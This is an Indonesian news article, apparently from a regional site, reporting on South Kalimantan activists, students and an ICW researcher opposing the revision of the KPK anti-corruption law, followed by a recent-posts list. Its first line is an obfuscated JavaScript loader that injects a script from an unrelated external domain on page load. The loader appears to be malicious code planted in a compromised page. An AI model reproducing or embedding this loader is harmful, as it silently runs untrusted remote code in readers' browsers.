(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Aktivis dan Mahasiswa Kalsel Tolak Revisi UU KPK (2-Habis)


BANJARMASIN, Kaitannya dengan isu lingkungan, Direktur Eksekutif Wahana Lingkungan Hidup (Walhi) Kalsel Kisworo Dwi Cahyono menekankan, jika peran KPK dimandulkan, maka bukan tidak mungkin mafia tambang akan terus merebak.

“Artinya kalau terkait korupsi khususnya di sektor sumber daya alam dan lingkungan ini penting. Maka Negara dan kita semua harus komitmen dan sepakat, jangan melemahkan lembaga maupun pihak yang memberantas korupsi,” tutur pria yang akrap disapa Cak Kis ini.

Cak Kis menegaskan, KPK jangan dilemahkan. Akan tetapi, melalui revisi UU KPK, lembaga antirasuah ini harusnya diperkuat dan jika diperlukan, kekuatan KPK harus ada di daerah. “Kalau Negara dan KPK tidak sanggup memberantas korupsi di sektor SDA dan lingkungan, maka KPK fokus untuk korupsi di APBN maupun APBD. Tapi untuk korupsi di sektor SDA dan lingkungan, Negara butuh komisi khusus di sektor SDA dan lingkungan,” kata Cak Kis.

“Kita berserius tidak dalam bernegara? Kalau memang serius, seharusnya praktik-praktik kejahatan yang merugikan rakyat dan lingkungan harus diperkuat bukan dilemahkan,” tegas Cak Kis.

Terakhir, Muhammad Rizali yang merupakan Ketua BEM Universitas Islam Nusantara (UIN) Antasari Banjarmasin mengungkapkan, sebagai representasi dari kalangan mahasiswa, dirinya melihat adanya pembatasan akses KPK dalam upaya pemberantasan korupsi. “Kalau pandangan saya, seharusnya Presiden Jokowi mengambil sikap dan tegas,” ucap Rizali.

Rizali juga menyayangkan, Presiden Jokowi seolah-olah bungkam menjelang pemilihan capim KPK, padahal sejumlah tokoh nasional mendesak agar KPK jangan dilemahkan. “Dia tidak mengindahkan itu dan tidak memberikan pernyataan sikap apapun terkait hal itu,” tegas Rizali.

“Apalagi di RUU itu yang sangat riskan adanya dewan pengawas. Artinya, ketika KPK ingin melakukan OTT dan penyadapan harus meminta kepada dewan pengawas yang dibentuk oleh DPR sendiri. Bukannya memperlancar malah menghambat,” ujar Rizali.

Selain Rizali, juga terdapat beberapa mahasiswa dari berbagai perguruan tinggi di kota Banjarmasin yang hadir pada diskusi sore ini, di mana, menurut Rizali, diskusi ini sangat penting agar mahasiswa sadar jika KPK tidak dalam keadaan baik. “Mungkin penyakit akut dari mahasiswa dan pemuda saat ini, budaya literasi masih sangat minim,” tutup Rizali.

Sebelumnya di tempat terpisah, Koordinator Divisi Korupsi Politik Indonesia Corruption Watch Donal Fariz mengatakan, revisi UU KPK yang dibahas secara senyap merupakan upaya sistematis untuk melemahkan KPK. “Ini upaya konsolidasi kejahatan untuk melumpuhkan KPK. Makanya saya sebut upaya sistematis tadi dan mereka berkonsolidasi secara cepat sembunyi-sembunyi untuk melumpuhkan dan menghancurkan KPK,” kata Donal kepada Kompas.com.

Donal mengatakan, revisi UU KPK yang sedang bergulir merupakan bagian dari upaya pelemahan KPK yang dilakukan secara terorganisasi yang dimulai dari proses seleksi pimpinan KPK. “Ini adalah rangkaian yang terstruktur dan sistematis untuk melemahkan KPK sehingga upaya terhadap pemberantasan korupsi tidak menjadi berjalan secara baik,” ujar Donal.

Ia pun membeberkan setidaknya ada 20 pasal dalam revisi UU KPK yang dianggap bermasalah. Pasal-pasal itu merupakan pasal yang mengatur penyadapan hingga pembentukan dewan pengawas KPK beserta hak dan kewenangannya.

Donal menduga, revisi UU KPK ini sengaja digulirkan untuk mempermudah aktivitas korupsi yang diawali dengan melumpuhkan KPK. “Ada segelintir orang-orang yang punya niat untuk merampok uang negara secara gila-gilaan dan kemudian cara yang paling mungkin dengan melumpuhkan KPK,” kata Donal.

Ia pun berharap Presiden Jokowi bisa menolak upaya pelemahan KPK ini. Nasib KPK ke depan ada di tangan Jokowi. “Presiden punya otoritas secara konstitusional untuk setuju atau tidak setuju untuk melanjutkan pembahasan sebuah undang-undang atau revisi undang-undang sehingga menurut saya ini bergulir kepada presiden, kuncinya di presiden,” kata Donal. (fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

22 menit ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

1 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

1 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

6 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

7 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

7 jam ago

This website uses cookies.